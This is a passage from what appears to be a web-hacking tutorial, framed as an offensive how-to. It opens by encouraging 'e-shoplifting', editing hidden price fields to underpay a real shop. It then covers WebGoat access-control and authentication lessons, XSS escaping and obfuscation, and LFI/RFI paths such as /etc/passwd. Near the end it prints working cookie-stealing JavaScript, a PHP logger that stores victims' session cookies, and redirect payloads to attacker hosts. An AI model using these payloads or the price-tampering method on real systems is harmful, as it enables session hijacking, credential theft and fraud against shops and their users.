HTML Hacking – E-Shoplifting

HTML hacking has its key strengths when dealing with certain web applications – more so for the consumer as we will point out. The main reason why this type of attack is simple is because the web application is trusting the end user (you) with the assurance you will not change the source code. But, because we are not good little wood chucks, we will be changing the code and seeing what results we can grab from the target. If we didn't what kind of hackers would we be?

Figure 1.0 will display a common web application that is taking an order, and providing us with a check out. Just as a side note, any web locations utilizing JAC (Just Add Commerce) should be changed, and all orders double-checked if the change cannot happen. Why? Because most web locations do not check the order fields and such a change can be made quickly during check out dropping the price.

So, here we have the order form:

Figure 1.0 Displaying a simple web order form

As you can see, we are ordering a sun visor for a 53-54 bel air (yes we are old car buffs). The matter of it is simple, we don't feel like spending the $475.00 for this piece of metal that has been reconditioned. So what can we do? We can be like the old school video commentator and go to the video tape!

The source code is the platform to which we can see a few things that are going on in the web application. So we need to pay close attention to the web application and see how it's made. After all, we may see something we can change.

Right-clicking on the window and selecting “View page source” or, in IE “view source” in either case, you will see the source code. We are particularly concerned with the “hidden” fields. And, if we look closely we will notice that the price is included within the fields. Figure 1.1 displays the information we'd seek to change:

Figure 1.1 displaying hidden fields with price.

So why is this so important and what will this do for us? Well, the hidden fields are telling the web application what the price should be. If we change this field, and we proceed (notice we are not changing any other values so the display price of $475.00 will remain the same) the price at check out will stay consistent but the price we pay will differ. Figure 1.2 displays this for us:

In this example we are not replaying from source saved on the hard disk, we are modifying it in FireFox using Firebug, and then we are proceeding.

Figure 1.2: Changes made to source code for type “hidden” and value.

By changing these values, you've just dropped the price. So, how do we really know if this does work? Well, it's quite simple. We can click the “recalculate” and see if the page does change in value. If not, we go back to the listing of the parts and locate our price (before clicking continue) and we should see the following:

Figure 1.3: Displaying the price hidden values and the actual price.

Below, we change the price to 175 and we then proceed to the check out (figure 1.4).

Figure 1.4 Demonstrating the change before check out.

Now that we've changed the information before the redirect to JAC we should now see the price change in figure 1.5:

Figure 1.5 a successful price change from 475.00 to 175.00

Tiny URL Services

We've seen many examples that if we see something like this: http://www.website.com/foo?bar=%3F%3D%%%.//@#$%@#$ we should stay away it's an attack, it will jack cookies, load a virus, trojan or worm – just be afraid! And, of course it's worked for many, many years until a new service came along. TinyURL is a service which has allowed users to scale down web links that were of epic proportions to something like this: http://tinyurl.com/ycz3b5b the URL is far from bad, it's our web location. So, why such a concern?

The need to question URLs that originate from TinyURL is simple, if an attacker chunks a web location as seen in the above example and pike it into TinyURL, it's dramatically shorter. When the link is accessed, the user is swept away to TinyURL and then redirected to the attackers web location. This also provides the attacker with a way point as to pack as much functionality as he or she may see necessary into a web request and hack it indefinitely.

Let us imagine for just one minute that we've found a vulnerable server to XSS/XST or LFI/RFI requests, and we are going to hack it. We'd do something like this. Http://www.server.com/index.php?search=<script>window.location='evil_attacker_fake_site'</script> now we take this information and pike it into TinyURL and we'd have a smaller form of the attacker link now shrouded in mystery.

Abuse On Access Controls – Mapping Functions

In some cases, it may be implemented but not really seen on lower ends of users (as they shouldn't have access) and what happens is, if the mappings are done out of habit (which they usually are) it is quite possible to map a function and the access it from a non-privileged account.

The web goat lesson “Stage 1: Bypass Business Layer Access Control” is a classic example, and the best example that we can demonstrate against a web application attack. We've tried many user names and came across the account of “larry stooge” which we had accessed by entering his name (we've entered it as lower case to demonstrate the prename needs to be in lower-case, not upper!).

After a successful authentication, we see the following, figure 1.0 demonstrates this:

Figure 1.0 Demonstrating the steps we need to take.

After a successful login with the prename, we've go through the listing to see if any other profiles were present. To our sad surprise, they weren't. So, we've modified the HTML to include the following: “David Giambi (manager)” after that modification has been made, we then changed the parameter in 4 to read “DeleteProfile” after the changes were made, we then clicked the button. To our surprise, the listing was dropped and a web application ACL was abused!

Abuse On Access Controls – Viewing Records

So, the web developers have been remaining as vigilant as they could when it comes in tern to security. Then their alarm clocks went off and they work up! In the WebGoat tutorials, we are now taking a look at the 3^rd lesson in access control flaws: Bypass Data Layer Access Control, The objective of this lesson is to demonstrate how we can make requests as a privileged user to view account details of another user.

This attack can be quite deadly if in the event that we are injecting such commands into a web application which is live, and very vulnerable to attack. This can cost a corporation millions, and can even cost them their business if not discovered early, and patched!

The main objective here is to log in again, again like creatures of habit we select the account of “Larry Stooge” with his infamous password: larry. Figure 1.0 displays the login window.

Figure 1.0: A bland page, nothing of value.

The attack doesn't seem all that fun as of yet, however... there is more than meets the eye (sounds familiar doesn't it?) Again, we head over to FireBug, and we insert the following values: David Giambi (manager) and we make sure it retains the value ID of: 107. Figure 1.1 will show you what this looks like:

Figure 1.1: Inserting value 107 and david for good measure.

When the web application is processed, we will see the following request:

Silent Web Requests & Javascript

Javascript has the potential to perform validations on data (not the very best though) and even though a javascript can in fact check user input against a “validated” string, it still poses a risk. The risk are that because javascript is a client-side technology (interpreted by the browser) it can be modified by the user! As with this “banking application” through web goat we will demonstrate how you can transfer funds.

Given that we are not using WebScarab for the attack we are using the firefox extension firebug to perform the attack. Through this attack vector we will modify the requests on the validation portion of the javascript and insert our request directly into the fields. Here is how we will perform the attack.

1. Load web goat lessons by becoming root. (su -)

2. authenticate to become root (#) and navigate to your WebGoat directory.

3. In the webgoat directory, issue the ./goat.sh start8080 command. At this point webgoat will start.

4. At this point log into your web goat application and click on the following URL:

Figure 1.0 demonstrating the link you need to click to bring up the lesson.

Once the lesson is loaded you will see the following form on the screen:

Figure 1.1 Displaying the form you need to hack to bypass the javascript check.

Because we've already touched base on utilizing the “FireBug” extension, we will delve directly into performing the attack. First, we load firebug, and use the form selection tool to select the area we would like to perform the attack against. In this case, it will be the “Confirm” button that is on the screen. When you click on the “Confirm” button you will see that the HTML is shown.

Figure 1.2 As you can see we are gunning for the script right after “form enctype”

Now, we will right-click on the “script” portion and select “Edit HTML” as shown in figure 1.3:

Figure 1.3 displaying “Edit HTML...”

Once we perform this action, we will then proceed to modifying the source code in the following method:

Figure 1.4: Editing the source directly.

What this will do for us is skip the validation portions of the JavaScript completely, and when the “processData()” call is issued, it will then go directly into “submitData()” and transfer our funds. Once this has been modified we then click on the “Confirm Button.”

Because we are directly modifying the code, we can skip right over entering the information into the text boxes, because the javascript that has been modified already carries the calls that we will need. So, in this example we are placing the two hundred million dollars into account 123456. As you will see in your example. Additionally, you can just process the calls by modifying the checks placed upon them to pull any amounts from them directly. This is a little bit better in my opinion because you will not have to sift through source-code in order to perform the calls, and get it working. Simple, and straight forward!

Once we process the request, the web application training exercise should provide us with a green check mark which designates that the lesson has been successfully performed. Figure 1.5 displays the completion of the lesson:

Figure 1.5: Banking application completion.

Multi-Level Login with WebGoat

In this example of WebGoat you will be provided with a long and details. Each section will be given a TAN# which will allow you to obtain access and complete the lesson. In our example, we have the following user name and details: Jane – tarzan With this, you will then be provided with 5 TAN numbers. The numbers are as follows: 15648, 92156, 4879, 9458, 4879 when you are prompted in the first example, you will enter the credentials provided to you, and then you will have access and a form to enter the TAN.

Before we press onward with the lesson, you may authenticate for the first time, and then you can proceed to performing the login a second time. Please note that upon the second login, you will need to load WebScarab. So, please right-click your “WebScarab” JAVA application, and proceed to running it with your version of JAVA. This will allow you to perform the attack, and change the fields needed to make this attack possible. Make sure that the application is listening and is set to “intercept requests” and “Intercept Responses.” Once this is checked and you're logging into the lesson for the third time, we will need to make a small modification to the following fields:

Figure 1.0: Displaying the field to change in WebScarab.

Once this field has been changed, you may click on the “Accept Changes” button in WebScarab to proceed. After which, you should have successfully completed the lesson.

Multi-Level Login 2 with WebGoat

Although it seems as if this lesson has been repeated in the previous iteration of the exercise of “Authentication Attacks.” We still have one more to go. In this lesson, we have to login as Joe with a password of banana and from there we need to sneak in under the radar as Jane. In order to perform this attack, we will simply login as Joe with the provided password and have WebScarab listening as we login. Below shows the example of the login:

Figure 1.0 login as Joe with password banana

In this case, we will accept the defaults that WebScarab will throw at us. In this case we will see the following details:

Figure 1.1: Web scarab detecting a hidden field value of “Joe”

Here is where this attack becomes interesting. With this field shown in figure 1.1 we can simply enter: “Jane” without quotations and proceed to entering the pin number we are provided with. In this case the TAN is #1. So, we enter TAN# 1 and change Joe to Jane as follows:

Figure 1.2: Displaying the changes we needed to make along with the TAN.

Once this has been submitted and accepted through WebScarab, we should see the following listing (note that the record reflects Jane's information and not Joe's):

Figure 1.3: Janes Credit Card Details.

Finally, this will conclude the lesson for Multi-Level login for WebGoat.

Javascript as a Form of “Authentication”

In the case of ihtb example of “web challenges” we have the following window with a pin-point location of where to look as a hint, as we will see in the example below:

Figure 1.0 Displaying a level 1 challenge on IHTB.org

Here we see that we have both a submit, and a clear function – not to mention a form which accepts input which is processed on the back end. The text in the above states that “while doing web challenges, use what is available to you! IE, The Source!” Any time when you view a web application, you have access to the source – unless the web developer has included a javascript which denies you the options to right-click, and use the control keys. Another stance that may be mapped is the keyboard right-click button which is in many times over looked.

When we view the source (most reliable method is to hit view → Source, or in firefox View → Page Source) we will see the following text displayed in the source code view:

Figure 1.1 Displaying passwd as the password value 46035.

If we insert this information into the field, it will return as the exercise has been successful.

Forgotten Field Logins – Email Reminders

E-mail reminders are also a method by which an attacker can gain some authentication if implemented incorrectly (the application does not do a check to verify credentials). In the following example we see a poorly inserted value which can be changed. Figure 1.0 displays the login form, while figure 1.1 will display the original value – followed by figure 1.2 displaying a changed value utilizing firebug.

Figure 1.0 A simple forgotten password screen.

If we view the source code, again we will see the following source code which by default will send to the site administrator:

Figure 1.1 Displaying the value of “This email address is being protected from spambots. You need JavaScript enabled to view it.”

Now that we see the password is being sent to This email address is being protected from spambots. You need JavaScript enabled to view it. we can modify the request and send it on to the web application as follows:

Figure 1.2 demonstrating a changed value pointing to: This email address is being protected from spambots. You need JavaScript enabled to view it.

In order to perform this change, we click on the firebug icon:  and load up the window which will display an editing form. We then locate the icon for selecting a field:  and then we click on the login form as shown here:

You will notice that the surrounding field has been highlighted / outlined in blue. Once the area you are seeking is in blue, left-click it to bring up the editor window, and locate the login form and credentials. Edit those credentials, and click the minimize button on the inner firebug application and then click the submit link. When this is finished, you should have been awarded “hacker points.”

Browser Headers – VERY Uncommon

Many times (unless you're being blocked, or MS wants you to use IE) you can change your browser headers. In firefox, this is where User Agent Switcher can help you. In the following example we see the web location whining about the fact that you don't have a IHTB web browser. Well, I'm sure we can fix their little red wagons! Below is the graphic for this web challenge:

Figure 1.0 Displaying a page that we can't get into the club – We're not on the guest list.

In order to circumvent this problem, after we've installed User Agent Switcher, we can simply perform the following course of action:

1. Click on Tools menu in firefox.

2. Select “Default User Agent” menu

3. Click on “Edit User Agents”

4. Click on the “New User Agent Button” on the bottom left under agent lists.

5. Fill out the form as follows:

Figure 1.1 Displaying a IHTB browser.

When this is finished, select “OK” and then from the top menu in tools, click on user agent switcher, then select the option for “IHTB Circumvention.” Then simply refresh the page.

Option Boxes and GET/Post Abuse

It's becoming a dying practice, but some web locations may include the option to change POST to GET requests and serve up information that they just shouldn't do. In this example we are to login as a “Manager” so, we see that we have the following details before us:

Figure 1.0 A simple login form to login as manager.

If we drop the box down, we will see the following options:

Figure 1.1 Login listing

In firebug we load up the window, and then we select the “--Select--” box as shown in figure 1.2:

Figure 1.2 Selecting the “--Select--” box.

In fire bug we will change the field containing “Michelle” to “Manager”

Figure 1.3: We simply click on “Michelle” and enter “Manager”

Figure 1.4 Displaying a changed value to “Manager”

Once these values have been changed, we must then edit the “POST” method, and change it to a GET request as follows:

Figure 1.5 Locating the POST request.

Once we have done this, we simply change the post to “GET” and when that is finished, we close firebug and click on the “Login” button. Once we do that, we will see the following message upon the screen:

Figure 1.6 Displaying the login with manager.

Figure 1.7 Displaying the password

Once we have this information, we can go back, edit the fields again, supply the password, and we'd have access to the web location where “authentication” is needed.

Cross Site Scripting and Cross Site Tracing (XSS/XST) Attacks

Cross site scripting, or cross site tracing attacks abuse the poor input field validation methods most web developers code with. An XSS/XST attack is normally inserted into the text fields which supply the users with login functionality, or within the URI (Uniform Resource Identifier) to abuse the web location into performing a few functions. Of the attacks mentioned with XSS/XST the single most important issue is that of password jacking, and how many attackers get malicious code onto your machine.

XSS/XST Attacks URL and Input Field

XSS/XST is demonstrated in the following details. Yes, the location of the attack has been notified, and has refused to repair the issues. They (unfortunately) shall remain nameless. Let us take a look at XSS/XST attacks and how one can abuse the functionality of a poorly written web application.

The first thing at the web location that we will search for, is an input field. In this case we can clearly see where the input field is located. Figure 1.0 demonstrates this:

Figure 1.0 Displaying a search string, and return value in URL (Example of URL XSS)

The first thing we've done was search for the “search” function on the site, and, we've inserted a value of “STRING” Although, you can take the software exploitation method and insert “AAAAAAAAAAAAAAA” as a long string of A's are a lot easier to locate than “STRING” (the more ridiculous the string, the easier it's visible). When we entered our value, the data was returned in the above example (within the URL).

Now that we see our field and URL are going to point to a value, it's time to have a little fun! The next step we take is to see if we can pass a javascript to the vulnerable web application and then see if it's return data is what we've passed. In this case: “Hello” Figure 1.1 demonstrates this:

Figure 1.1 Illustrating a javascript supplied to the search field

It doesn't look it here, however within the returned results, we can clearly see that the java script code has been encoded. Furthermore we get the returned value:

Figure 1.2: A returned java script prompt box.

In the above case, the web application has returned true that it is vulnerable to XSS/XST attacks. However, what happens if the web form did not allow us to implement our “attack?” what are we to do then? Is the game over? No! What can happen is that the web application itself may be providing or undergoing input field validation. Untrained script kiddies, would normally stop at this point as it is not a low hanging fruit. But, what really can be done is we can look within the source code to remove any javascript functions, javascript calls, or java programming which may filter such attack code out. Replaying this, or modifying this information with firebug, and replaying the web application may provide you with the results in figure 1.2.

Abusing XSS to Trick The User

When we search our input fields for values to inject, we may hit some targets which allow it. But, what can we really do with such a request? To the most minimally trained user, you can use a search field to trick the user into believing it's a login. You may be surprised at what it is you may find! Below is an example taken out of WebGoat which will give you a general idea as to what we are discussing.

With the example we have in webgoat we can clearly see that the form is quite flexible and it allows us to insert a hefty javascript statement which calls another js file from another server (in our example we have it in a form which provides a post to another form to grab credentials – you will learn this later); figure 1.0 is a screen shot of what you'd expect to see if the form was vulnerable:

Figure 1.0 Demonstrating a vulnerable search field, and dumping user login field.

With this information, we have the following code:

Figure 1.1 Displaying session jacking credential code

Now, the information here is just a sliver of code; from this you'd need to log the information. How can we go about doing something like this? Well we'd need to write up a PHP function which has the ability to log the information for us. What this will do is receive the parameters passed and then log it to a file. Here is the code which will enable us to perform such a task:

Figure 1.2 Displaying the PHP code to grab the request.

URL Based XSS/XST Attack Methods

If out input that we've entered does not work for the form what are we left to test? This can make us get quite aggravated however, we can use another little dirty tactic. Figure 1.3 demonstrates the use of URL's in order to supply passed javascript arguments to the processing web application. Remember when we've passed “STRING” to our web application? This was to see where it would place our search term. Now that we know this, lets perform the following:

Figure 1.3 showing a javascript to display “hi” as a return indication of successful XSS/XST validation.

If like in figure 1.2 we have a prompt box that states “hi” we know for certain that our web application is vulnerable to the attack mentioned. If not, we may have a bit more digging to undergo in order to determine how we can exploit this type of vulnerability successfully. So, where can we turn? We can turn our sights to automated tools, if we want to get lazy, or we can continue reading for more details.

Considering our above methods did not work, and we know for sure that there is input field validation happening, we need to set our sights onto the URL for abuse. Or, we can edit the source code, and hammer away at it as though no field validation had happened in the first place. More so, we can try escaping certain sequences. We will now demonstrate a quick portion of code which will return an alert / prompt box if the XSS/XST vulnerability returns true.

Figure 1.4 Displaying XSS/XST code to invoke a “Vulnerable” message.

Lets us explain what exactly is happening with this code we are entering. First we are issuing the '; to escape any sequence before it (some locations it may be needed). Followed by an alert to convert the ASCII into charcode, and from charcode to characters. The 118 is a value of V to the ending of 101 which is a representation of e. Entering code in this method has a few key benefits.

The first benefit is that the web application will not be chunking the information up. With percent (%) symbols and other characterization. Sometimes this can cause a vulnerable web application to return false if it is in fact vulnerable. In such a case we want to remove all false-negatives.

When inserting this code, you may also get “invalid escape characterization” in any event, this is truly displaying that the web application is in fact vulnerable. In the mix, we also have the \” which is also an escape sequence for the quotation (“) character, many times to allow double quotes in: document.write(“and she said: \”please don't hack me\””); and in the most popular use: printf(“and she said: “\please don't hack me\””); Finally, we have a drop function (//--) followed by the script being re-closed (“>'>) from it's initial opening sequence (';).

To shorten this and make it more manageable it '; starts the sequence for the XSS/XST injection as an escape process for the query, as with the //\' portions. To the end of the syntax the, --> closes the syntax – completing the source code.

The portions to follow it:

Figure 1.5 last portion of XSS/XST Code

will effectively close one portion of javascript (</script>) while escaping previous information (beginning with > to “>'>) and then present an open script statement to the closed script statement (</script>) to complete the alert prompt for: “Vulnerable.” So why is this so important to know? For starters, you can escape any additional code logic with the intros, and the mid codes explained before, and getting right to the heart of the web application to see if the vulnerability exists. However, there are a lot more methods to the madness as you will see.

A more malicious method would be to, launch a JS file from another web application not even on the same server – What you say? This is preposterous? No, not at all! The whole point of XSS/XST is mainly to snatch cookies, and then replay the cookies to the server in which you've stolen them from. So, getting the user from one web location and forcing them to the next to snatch a cookie, and dump them back to the site becomes essential (as we will go over this, too!)

When testing for XSS/XST attacks make sure that you are running each test while clearing the browser cache. Doing so will eliminate false positives and residual from previous testing. We have noticed this countless times. Many times we've had to close our browsers in order for the information to be reset. If you have plugins for firefox, or your data set appropriately for Safari, Firefox, Konqueror, IE, and any other browser you may have it may not perform as we have noticed.

So, how do we test this? Easy, if your web application is vulnerable you can call a simple script as figure 1.6 will demonstrate, this can be done as follows:

Figure 1.6 Mitigating a call to javascript file located on another web location.

It may also come as a surprise to you that when you enter the quotation marks the web application (and default behaviors may we add) will place the sequence as follows: \” and, trying to escape those sequences can make things messy: \”\”. If that's not enough, when entering the single ticks ( ' ) you may also run into the fact that the web application returns: \' and so on. So, how can we combat this? For starters, we can combat this by entering the string with no quotations. This sounds obscured, doesn't it? Well, for the most part yes. We state yes because if you insert the quotations to anything outside Javascript/ JS it will work (just the way HTML is interpreted)

Where ever JS/Java can be inserted, HTML can be inserted. However, you cannot insert PHP.

To demonstrate this case, we've performed the code injection in a URL that was vulnerable. Below, you will see the results:

Figure 1.7 Code injection into web location URL parameter.

It might be a bit difficult to see, however where src=http is located, we have no quotation marks. This is how you can change the information on a page. However, it's not only done in this manor (given, this will not be present the next time the user logs in) however, if the page changes (like a blog) and you were to mitigate this type of attack on the web location what would happen is the changes would become permanent.

Although this method is quite “noisy” again, we must refer you to a web location where you can sign up for free, and provide some bogus information to the hosting company. Inside the grounds of a penetration test, if you are discovered your testing has gone to the dogs.

So what can we conclude from this? Is it safe to say that only URL's, URI's and form input fields are vulnerable? Well, it can be said, yes. However, Many other factors come into play. These factors can be the limitations of characterization input, the length inputs, or even server-side filtration. In any case, the latter is the hardest to defeat. In the proceeding examples, we will take a look at defeating such practices, and even so – some tools we can use to help us.

Now that we have found a vulnerable location, how can we steal credentials? We can do this in an encoded manor. Going back to the previous examples, we have the site that we have developed which takes information and cannot protect itself, meaning there is no input field validation practices being utilized. We know by looking at the source code that we have a field named: uname and a field named passwd both named such to be easily identifiable. By injecting code into the fields, we have successfully identified that the web application is vulnerable. Furthermore if the web application is undergoing filtration, we can also abuse the URI and the URL. In any instance, by encoding the information we'd like to inject, we can overcome these obstacles and perform a redirect.

Considering a web redirect is not of much importance, “oh wow you've redirected the form” we can, in fact bring the user to a web location to “phish” the credentials; or far more worse, steal a session cookie! Of the easier tactics, we will take a look at phishing the credentials of the user first. Then we will work our way to higher attack schematics.

Defeating Client Side Form Validation & Restrictions

So you've tried the XSS/XST examples and you've had no success at all. What is up with these web applications and these savvy administrators? Well, let's see if we can circumvent the rules they've put in place. Mainly, you will have web applications that will want to restrict you of what you can enter, or web applications that will want to filter the length. In any case, it's annoying and must be circumvented. If you are not familiar with basic concepts of HTML this section may not help you, and you should seek information in regards to form fields.

The first and most basic of the concept of testing one of these vulnerabilities is to see what you can enter, and how much. Some forms will be verbose in what they want, e.g: “Letters and numbers only.” many other applications won't even care and accept the input. In any fashion what is really going on behind the scenes is either client-side filtration or, server-side filtration.

Let us take a look at some minimal forms of filtration. The first will only input 10 length user names, and 8 character passwords (characterization at this point is not important). Figure 1.0 Will demonstrate a simple web application:

Figure 1.0: Form Field

Yes, our login is rather primitive in nature, yet it will accomplish what it is that we need. So, from this example we can see the lengths specified 1-10 for a user name, and 1-8 for a password. Seems simple and logical enough, right? Well, let's make things a bit more difficult. In this example, we can add special characterization, numbers and letters. So, let's try an XSS attack.... Wait, how are we going to if there is a restriction? Well, we have two options. 1) We can right-click and view the source, and save it to our computers pointing it back to: http://vulnerable.site.com/webapp.php or, 2) we can modify it right on the server itself! Meet, firebug.

The first thing we will need to do is download firebug, and then get it to modify the page we are on. Because we have this installed already, let us focus more on editing the source. Figure 1.1

Figure 1.1 displaying the firebug on the firefox window lower bottom right.

When firebug is clicked, we can view and inspect the information on the site itself. Now, we drill down (or click the element we need to modify) and we modify the following information on the page:

Here we see that the maxlength value is set to a staggering 8. This is going to limit us of input such as: “<script “ (this is also counting the white space between t and a for alert). When this attribute is removed we then have an unlimited amount of information that we can insert into this field. Figure 1.3 will demonstrate this for us.

Figure 1.3 Demonstrating a maxlength value that has been removed.

Now, we can enter any values we choose. Figure 1.4 further provides that we've removed the length restrictions from the web application in question:

Figure 1.4: Displays introduction to script, and ending of script from password and user field.

If we proceed to call this script or “login” we may be prompted by a “hi” message. When this vector is run, we do not return a “hi.” This is quite a bit odd. Now, it's time to try some escape sequences and see where this will land us. So we enter the previous examples displayed in the above, one of them being:

To our surprise this returns true. We know this because we've escaped instances of code in order to display our “vulnerable” message. But, what if we attempted to encode our previous example of <script>alert(“hi”);</script> with a utf-8 encoding mechanism? Will it be successful? Only trying such an effort will tell us. As a friendly hint, we will proceed to state that being exact and quoting any material will not get you anywhere. If you haven't gotten it by now, keep thinking.

The reason why we are demonstrating the “String.fromCharCode” portions of code is simple. Many times web locations will disallow you from entering the quotations. If you didn't figure it out by now in the previous examples, we are giving you the foot stomper here, and now.

Because we know a form is vulnerable, and we can supply a user with a vulnerable login (when they've already authenticated to the site – or any sector of the site that will allow a login. If the session is authenticated and we can jack the cookie we have a method inside.) we can snatch the login information.

For encoding, we like to use 2 tools. The first one is located here: http://yehg.net/encoding/ and the latter is located here: http://jdstiles.com/java/cct.html of course, both of these tools are invaluable. Additional chances are, we might code our own and add it to our tool listing.

We also stated in the above that you can jack sessions using a javascript as an XSS/XST attack; as this is true you will also need to couple the PHP language into the mix when the vulnerable site redirects the user (already authenticated) to your malicious web location to hopefully jack the cookie file from the vulnerable server.

WebScarab Hidden Fields – Extended View

When too much information is passed to a client, as we've seen with the E-shoplifting example, what can happen is there will become some serious implications. This can be from access abuse, to changing prices as we've already seen. In the case with the hidden fields in WebGoat, we've searched both versions of the web application to determine what is being sent, and received.

As per our initial investigation we noticed that when the web application is processed the information is not fully displayed. Figure 1.0 Displays a truncated request without the usage of WebGoat.

Figure 1.0 Displaying the only two instances of “Neville”

Because of this, we need to go into WebScarab and do some capturing. Figure 1.1 displays a captured request from WebScarab at the onset of the download of the document:

Figure 1.1: The dollar amount of “Neville” and seen after the page being parsed.
(Results Truncated)

From this, if “450000” is entered into the “Salary” portion of the web application, you will see the you've successfully bypassed any restrictions imposed by hiding a field.

XSS/XST Redirection

With XSS and XST attacks, redirection is very important. It becomes the vehicle as to how this attack is mitigated between servers. The attack of obtaining a users login information is passed from one field to the next; and as we've stated previously the user needs to be online and authenticated when this attack is mitigated against the user.

Although this is a hit and miss attack, if the user is caught at the right moment, it becomes a hit; and you can masquerade as the user at the web location (and you MUST find a way to time out their connection, or kick them off – you can also play the cookie at a later time when you know they won't be online). To execute this type of attack we need one of two things. 1) We will need to execute a page redirect and 2) we will need a PHP script (not covered in this section) which will store the cookie from the vulnerable sever which will pose as the point of entry for you later on. Lets get started with the javascript code and where we'd need to insert it.

Many URL locations (and you will see this more in the PHP hacking section) have some type of URL as follows: http://www.victim.com/index.php?DOC_TYPE=doc123.php this may look normal, and you may be thinking “What can be done with this URL?” Well, a few things can be done with this URL, but for the purposes of the redirection, we will keep it simple. First, we can test the location as follows (each figure will go into details as to what purpose they serve):

Figure 1.0 Demonstrating a form redirection.

Figure 1.1 Demonstrating a char code redirection.

Figure 1.2 Demonstrating a unicode, and char code combination.

Figure 1.0 is a flat out example to test the server, the next is a somewhat obscure, and finally the last is an almost completely obscure tactic. Now why the change in complexity? First and foremost, if you send a link to an individual that has the info as such:

Figure 1.3 An obvious attempt at a redirect.

We do understand that it's kind of hard do read, so we will post the link information right out (which would be kind of embarrassing on the attackers part), we have the following attempted attack when we hover our mouse over the link: http://americanexpress.com/search.php?term=<script>window.location='http://www.attacker.com/cookie_snatch.php'</script> if that's not bad, we don't really know what is. This is why we have the obfuscation tactics in the examples from worse to pretty good, or as Borat would say “VHERRY NICE!”

PHP XSS/XST Cookie Stealing

From what you've learned in the previous sectors on XSS/XST attacks one may suggest that this is an extension of XSS/XST attacks, but with PHP in the mix. The reason why we are including this section in the PHP attacks, is because you are using PHP as a method to record, while the javascript is doing it's thing to obtain the cookie, and use a PUT command to forward the request to the PHP handling application. So, let us take a look at how this attack is performed.

On a server which is vulnerable to XSS/XST attacks, (http://site.com/index.php?param=http://www.attacker.com/getscript.js) you will include this text below to jack the cookie and perform the redirection:

<script>
function getit()
{
        createCookie("hackcookie", "32303455", "305");
        window.location="login.php?session="+document.cookie
}
function createCookie(name,value,days) {
if (days) {
                var date = new Date();
                date.setTime(date.getTime()+(days*24*60*60*1000));
                var expires = "; expires="+date.toGMTString();
}
else var expires = "";
        document.cookie = name+"="+value+expires+"; path=/";
        }


function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for(var i=0;i < ca.length;i++) {
        var c = ca[i];
                while (c.charAt(0)==' ') c = c.substring(1,c.length);
                        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
                        }
                                return null;
                        }
                                function eraseCookie(name) {
                                createCookie(name,"",-1);
                        }
</script>


<body onLoad="getit()">

Figure 1.0 demonstrating the setting of a cookie and a redirect. (Demonstration purposes)

The script in figure 1.0 can be modified to perform the sophisticated redirect, and any other functions one may want to attain to send to the PHP script in figure 1.1

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[session];
$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br><hr width='50%'>";

$file = fopen("cookiedata.php" , "a");
        fwrite($file,$text);
        fclose($file);
header("Location: http://www.vulnerable.com/document.php");

?>

Figure 1.1 obtaining the cookie and storing it as cookie.php

Again, you can change the information to suit your needs, and if you are attacking a specific domain, you can redirect it back to the document where the user has come from. You can also modify the script that the header redirects to the info in $_SERVER. Once the information is logged, you can include a chmod of 700 if your server allows you to chmod fields, so it's not public.

To take things a step further, you can also re-write the script to send it to you in an e-mail. However, the script operates by the parameters set in the redirect when the web application comes to your server. In such an event, it's performed as so: http://victim.com/index.php?DATA=<script>window.location='http://malware-site.com/cookie.php?COOKIE=+document.cookie</script>to make things easier for you, let us break this down in a table.

When the redirect is processed, the site.com will be redirected from it's index.php?data= portion by the window.location value in the XSS/XST attack, and the attacking party hacker.com will in fact take the parameter cookie.php?cookie=+ document.cookie in order for the PHP script to dump the users current cookie for site.com.

LFI (Local File Inclusion) Attacks

We start this off with the LFI attacks, as most likely you will be searching for this first. Most likely the reason is due to the will to obtain the /etc/passwd file on linux systems. It may seem like a common trend that we are seeking the linux operating systems and not the Microsoft operating systems; considering this can be mitigated against the Windows OS, too don't be quick to write it off. In this instance we are looking for a web application which takes a parameter. This can be seen as the following: http://www.site.com/index.php?ID=m203From the portion of “ID=” onward to “M203” is the portion of the web application which takes a parameter.

In order to search for the LFI attack, we can simply perform the following: http://www.site.com/index.php?ID=../../../../../etc/passwd (with the multiple directory escape sequences shown for demonstrative purposes) in hopes of obtaining the passwd file, or in an extreme case the shadow file. Now, Network Defense Solutions, Inc. goes into extreme details when discussing the PHP LFI/RFI protections methods (programatically) and that document can be found here: http://networkdefensesolutions.com/secure-programming/120-php-inclusions.html additional web resources can be located here: http://networkdefensesolutions.com/penetration-testing-a-hacking/57-web-hacking/123-lfi-rfi-hacking.html

Mainly just to state that the include function is the process that fetches us the information we need, many programmers will in fact enter the following code as “secure” (and in these instances we can use %00, %3F and ? To circumvent and escape the function from adding on the .php ending):

Considering that this is “safe” it's only an added level of inconvenience to an attacker. Furthermore, any locations that take a parameter as such are subject to the LFI and RFI include methods. Finally, if a web location cannot be forced into LFI an attacker may want to place his focuses on RFI in order to see what he or she may pilfer from a vulnerable server.

RFI (Remote File Inclusion) Attacks

We may have heard a few stories of web locations being defaced, and stories that the .htaccess files have been removed / deleted and worst of all traffic being redirected. It sounds extremely sophisticated, and some attacks are; however for the most part it's simple programming.

We've already explained the logistics of LFI which is the process of getting the remote server to include a file that is within that server now; think of RFI the same thing but you're including a file from a secondary server (one in which you control). I already know that many of the people reading this book are either rolling their eyes, or more so thinking that why would we use a vulnerable server to hack a vulnerable server that we control? And, the fact of the matter is we aren't. What we are doing is executing a script on our server to be processed on the server which is vulnerable to the RFI.

The attack works in a very simplistic manor. When index.php takes a request (e.g: index.php?foo=foobar) chances are if it wasn't validated in the PHP script it can be abused to obtain a file on a remote server (not located on the current vulnerable server). The attack will then look like this: vulnerable-server.index.php?foo=http://www.attacker.com/rewritehtaccess.log where we'd be re-writing the .htaccess file on “vulnerable-server.” We can do this for many reasons, but for the most part we are doing it because we need to execute or exercise some type of attack during our penetration testing.

RFI works in the fact that if you are performing the attack, you cannot inject PHP information into the file (I know sounds weird) – what this means is that your file cannot be named .php. Why? Because if you name it .php you are hacking your server and not the vulnerable target. To complicate the situation, there are escape sequences that need to be injected into the URL of the vulnerable party to escape the function if they are annexing a .php to the code. In this tutorial we will be showing you multiple views on why this vulnerability is possible, and how we can exploit it.

